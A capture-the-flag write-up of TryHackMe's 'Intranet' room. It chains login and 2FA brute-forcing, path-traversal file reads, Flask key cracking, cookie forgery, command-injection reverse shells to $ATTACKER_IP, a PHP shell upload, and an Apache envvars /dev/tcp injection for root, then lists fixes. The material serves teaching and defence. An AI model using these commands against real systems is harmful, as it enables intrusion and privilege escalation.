mintshell
VI

Intranet: From Brute-Forced Login to Root via Flask Secret Cracking and Apache envvars Hijack

A walkthrough of TryHackMe's Intranet — brute-force a Flask login, bypass 2FA, exploit LFI to leak source code, crack a Flask session key, forge JWT tokens, pivot through Apache to another user, and hijack envvars for root.

Platform
TryHackMe
Room
Intranet(external link)
Difficulty
Medium
Vulnerabilities
weak credentials, authentication bypass, local file inclusion, insecure sudo configuration, flask secret key cracking, insecure 2fa implementation, jwt token forgery
9 min read

A walkthrough of TryHackMe’s “Intranet” room. A six-service Linux box hides a Flask intranet app behind brute-forceable credentials and a 4-digit 2FA code. Local file inclusion leaks the source, revealing a predictable session key. We crack it, forge an admin JWT, trigger os.system() for RCE, pivot to a second user via Apache, and hijack /etc/apache2/envvars for root. Seven flags, seven lessons.

Flags, credentials, and session secrets are redacted. Intranet is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> are real on the box but withheld here.

TL;DR — the whole chain

TL;DR

Brute-force anders@securesolacoders.no on the Flask login (port 8080) → bypass the 4-digit 2FA by fuzzing all 10 000 codes → exploit LFI in the news-feed update endpoint to read /etc/passwd, then /proc/self/stat → /proc/<pid>/cmdline to locate the app at /home/devops/app.py → source reveals the Flask secret key is secret_key_ + a 6-digit random number → crack it with flask-unsign → forge an admin JWT → the admin panel’s hidden debug form field calls os.system() → RCE as devops → Apache on port 80 runs as anders and /var/www/html is world-writable → upload a PHP reverse shell → lateral move to anders → sudo lets anders restart apache2, and /etc/apache2/envvars is writable → inject a reverse shell into envvars → sudo service apache2 restart → root.

Seven flags across web, crypto, and system layers, one continuous chain.

Attack chain: Brute-force login → 2FA bypass → LFI → Source leak → Flask key crack → JWT forgery → RCE (devops) → Lateral move (anders) → Apache envvars hijack → Root.

The target

export IP=<target-ip>

A six-port Linux box (Ubuntu) running multiple services:

Port 7     echo
Port 21    vsftpd 3.0.5
Port 22    OpenSSH 8.2p1
Port 23    tcpwrapped
Port 80    Apache httpd 2.4.41
Port 8080  Werkzeug 2.2.2 (Python 3.8.10) → Flask intranet app

Port 8080 immediately redirects to /login — a corporate intranet built on Flask. Port 80 hosts a static Apache site. The attack begins at the Flask login form.

The vulnerability landscape

Insight

This room chains seven distinct weaknesses across three layers:

  1. Weak credentials — the login password follows a predictable company-name + year pattern, crackable with a small custom wordlist.
  2. Insecure 2FA — a 4-digit numeric code with no rate limiting or lockout, brute-forced in seconds.
  3. Local file inclusion — the news-update endpoint passes user input directly to open() without path validation.
  4. Predictable Flask secret key — secret_key_ + random.randrange(100000, 999999) has only 900 000 candidates.
  5. Unauthenticated RCE via hidden form — the admin panel calls os.system() on a POST parameter.
  6. Apache running as a regular user — lateral movement via a writable webroot.
  7. Writable envvars + sudo restart — the classic Apache envvars privilege escalation to root.

Each weakness alone would be a finding; chained together they go from anonymous to root.

Step 1 — Brute-force the Flask login

The login form on port 8080 accepts email-format usernames. Testing reveals three valid accounts — admin@securesolacoders.no, anders@securesolacoders.no, and devops@securesolacoders.no — all return “invalid password” rather than “user not found” (username enumeration).

Build a base wordlist from the company name and common patterns, then expand with John rules:

cat > base.txt << 'EOF'
anders
devops
securesolacoders
ssc
senior
developer
EOF

cat > users.txt << 'EOF'
admin@securesolacoders.no
anders@securesolacoders.no
devops@securesolacoders.no
EOF

Define a John rule to append digits and special characters:

[List.Rules:TryHackMe-Intranet]
Az"[0-9]"
Az"[0-9][0-9]"
Az"[0-9][0-9][0-9]"
Az"[0-9][0-9][0-9][0-9]"
Az"[0-9]" $[!$§$%/()=?*@]

Generate the wordlist and launch the attack:

john --wordlist=base.txt --rules=TryHackMe-Intranet --stdout > wordlist.txt
# 78,610 candidates

hydra -L users.txt -P wordlist.txt $IP -s 8080 \
  http-post-form '/login:username=^USER^&password=^PASS^:Error'
# [8080][http-post-form] host: $IP   login: anders@securesolacoders.no   password: <redacted>

Login succeeds → Flag 1.

Step 2 — Bypass the 4-digit 2FA

After login, the app demands a 4-digit SMS verification code. Inspecting the HTML confirms the field accepts exactly 4 characters. With no rate limiting, brute-force all 10 000 possibilities:

seq -w 0 9999 > sms.txt

wfuzz -w sms.txt -d "sms=FUZZ" \
  -b "session=<redacted-session-cookie>" \
  --hl 77 \
  http://$IP:8080/sms
# 000008312:   302   5 L   22 W   197 Ch   "8311"

The correct code triggers a 302 redirect instead of the standard 200 response (77 lines). Submit it → Flag 2.

Step 3 — LFI to leak the Flask source code

Inside the intranet, the “Update” button for the news feed sends a request with a file parameter. Intercepting with Burp reveals a classic local file inclusion:

curl -b "session=<redacted-session-cookie>" \
  "http://$IP:8080/update?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash ...

Locate the Flask process:

# Get the PID from /proc/self/stat
curl -b "session=<redacted-session-cookie>" \
  "http://$IP:8080/update?file=../../../../proc/self/stat"
# 669 (python3) ...

# Get the command line
curl -b "session=<redacted-session-cookie>" \
  "http://$IP:8080/update?file=../../../../proc/669/cmdline"
# python3/home/devops/app.py

Read the application source:

curl -b "session=<redacted-session-cookie>" \
  "http://$IP:8080/update?file=../../../../home/devops/app.py"

The source code contains Flag 3 as a comment and reveals the secret key generation logic.

Step 4 — Crack the Flask secret key and forge an admin JWT

The leaked app.py shows how the session signing key is generated:

key = "secret_key_" + str(random.randrange(100000, 999999))
app.secret_key = str(key).encode()

Insight

random.randrange(100000, 999999) produces only 900 000 candidates. With the prefix secret_key_, the entire keyspace is trivially brute-forceable. This is not a secret — it is a speed bump.

Generate the wordlist and crack with flask-unsign:

python3 -c "
for i in range(100000, 999999):
    print(f'secret_key_{i}')
" > flask_wordlist.txt

flask-unsign --unsign \
  --wordlist flask_wordlist.txt \
  --cookie '<redacted-session-cookie>'
# secret_key_<redacted>

Decode the current token and forge an admin one:

flask-unsign --decode --cookie '<redacted-session-cookie>'
# {'logged_in': True, 'username': 'anders'}

flask-unsign --sign \
  --cookie "{'logged_in': True, 'username': 'admin'}" \
  --secret 'secret_key_<redacted>'

Replace the session cookie in the browser → access /admin → Flag 4.

Step 5 — RCE via the admin debug form

Inspecting the admin page source reveals a partially deleted HTML form. The app.py source confirms the debug parameter passes directly to os.system():

@app.route("/admin", methods=["GET", "POST"])
def admin():
    if session.get("username") == "admin":
        if request.method == "POST":
            os.system(request.form["debug"])

Trigger a reverse shell:

# Set up listener on attacker
nc -lvnp 4445

# Send the payload with the forged admin cookie
curl "http://$IP:8080/admin" -X POST \
  -H "Cookie: session=<redacted-admin-cookie>" \
  --data-urlencode "debug=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4445 >/tmp/f"

Reverse shell as devops → Flag 5 in /home/devops/.

Step 6 — Lateral movement to anders via Apache

Enumerating with ps aux reveals Apache on port 80 runs as user anders, not www-data. The webroot /var/www/html is world-writable:

ls -la /var/www/
# drwxrwxrwx 2 root root ... html

Upload a PHP reverse shell via netcat:

# On victim (as devops) — listen for the file
nc -l -p 9001 > /var/www/html/revshell.php

# On attacker — send pentestmonkey's php-reverse-shell.php
nc -w 3 $IP 9001 < php-reverse-shell.php

# Set up listener on attacker
nc -lvnp 4446

# Trigger the shell
curl http://$IP/revshell.php

Reverse shell as anders → Flag 6 in /home/anders/.

Step 7 — Root via Apache envvars hijack

sudo -l
# (root) NOPASSWD: /usr/sbin/service apache2 *

Insight

When Apache starts, it sources /etc/apache2/envvars as root to set environment variables (APACHE_RUN_USER, APACHE_RUN_GROUP, etc.). If a user can write to envvars and restart Apache with sudo, any command injected into envvars executes as root.

The file /etc/apache2/envvars is writable by anders. First add an SSH key for a stable shell, then inject a reverse shell:

# SSH in as anders for a proper shell
ssh-keygen -t ed25519 -f intranet_key -N ''
echo '<public-key>' >> /home/anders/.ssh/authorized_keys
ssh -i intranet_key anders@$IP

# Inject reverse shell into envvars
echo 'bash -i >& /dev/tcp/$ATTACKER_IP/4447 0>&1' >> /etc/apache2/envvars

# Set up listener on attacker
nc -lvnp 4447

# Restart Apache with sudo
sudo /usr/sbin/service apache2 restart

Root shell → Flag 7 in /root/.

Impact

Critical

High — CVSS 3.1 8.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Starting from an unauthenticated position:

  • Credential brute-force → valid login with no lockout or rate limiting.
  • 2FA bypass → the second factor is a 4-digit code with no attempt throttling, defeating the purpose entirely.
  • Arbitrary file read → LFI exposes source code, secrets, and system files.
  • Full RCE as two users → command injection via os.system() and PHP shell upload.
  • Root compromise → writable Apache envvars + sudo restart = trivial privilege escalation.

The chain demonstrates how layered-but-weak controls each amplify the next — no single fix alone would stop the entire chain, but any one of them would break a link.

Fix

  1. Enforce account lockout and rate limiting on the login form. After 5 failed attempts, lock the account or add an exponential delay.
  2. Rate-limit and expire 2FA codes. A 4-digit code is only acceptable if limited to 3–5 attempts before invalidation. Use TOTP instead of static codes.
  3. Sanitize file paths in the update endpoint. Resolve with os.path.realpath() and reject anything outside the intended directory. Never pass raw user input to open().
  4. Use a cryptographically random secret key. Replace random.randrange() with os.urandom(32). A 900 000-candidate keyspace is not a secret.
  5. Remove the os.system() call. There is no legitimate reason for a web form to execute arbitrary shell commands.
  6. Run Apache as www-data, not a regular user. Set proper permissions on /var/www/html (755, owned by root).
  7. Restrict write access to /etc/apache2/envvars to root only. The sudo rule should not coexist with a writable envvars file.

Takeaways

  • Username enumeration is the first domino. Different error messages for “wrong user” vs. “wrong password” hand the attacker a valid username list for free.
  • 2FA without rate limiting is theater. A 4-digit code with no lockout is brute-forced in under a minute — it adds latency, not security.
  • LFI is a key-finder. Once you can read files, the first target is always the application source — secrets hardcoded there unlock the next stage.
  • random is not secrets**.** Python’s random module is not cryptographically secure. For anything security-sensitive, use secrets.token_hex() or os.urandom().
  • os.system() in a web app is RCE waiting to happen. If you must run commands, use subprocess.run() with a fixed argument list and no shell.
  • Apache envvars is a known privesc vector. Writable envvars + sudo restart = root. It is documented, it is simple, and it works every time.

Thanks for reading. Intranet is a seven-flag gauntlet that shows how layered-but-weak controls fold when each layer leaks just enough for the next exploit. No single bug here is exotic — the lesson is in the chain.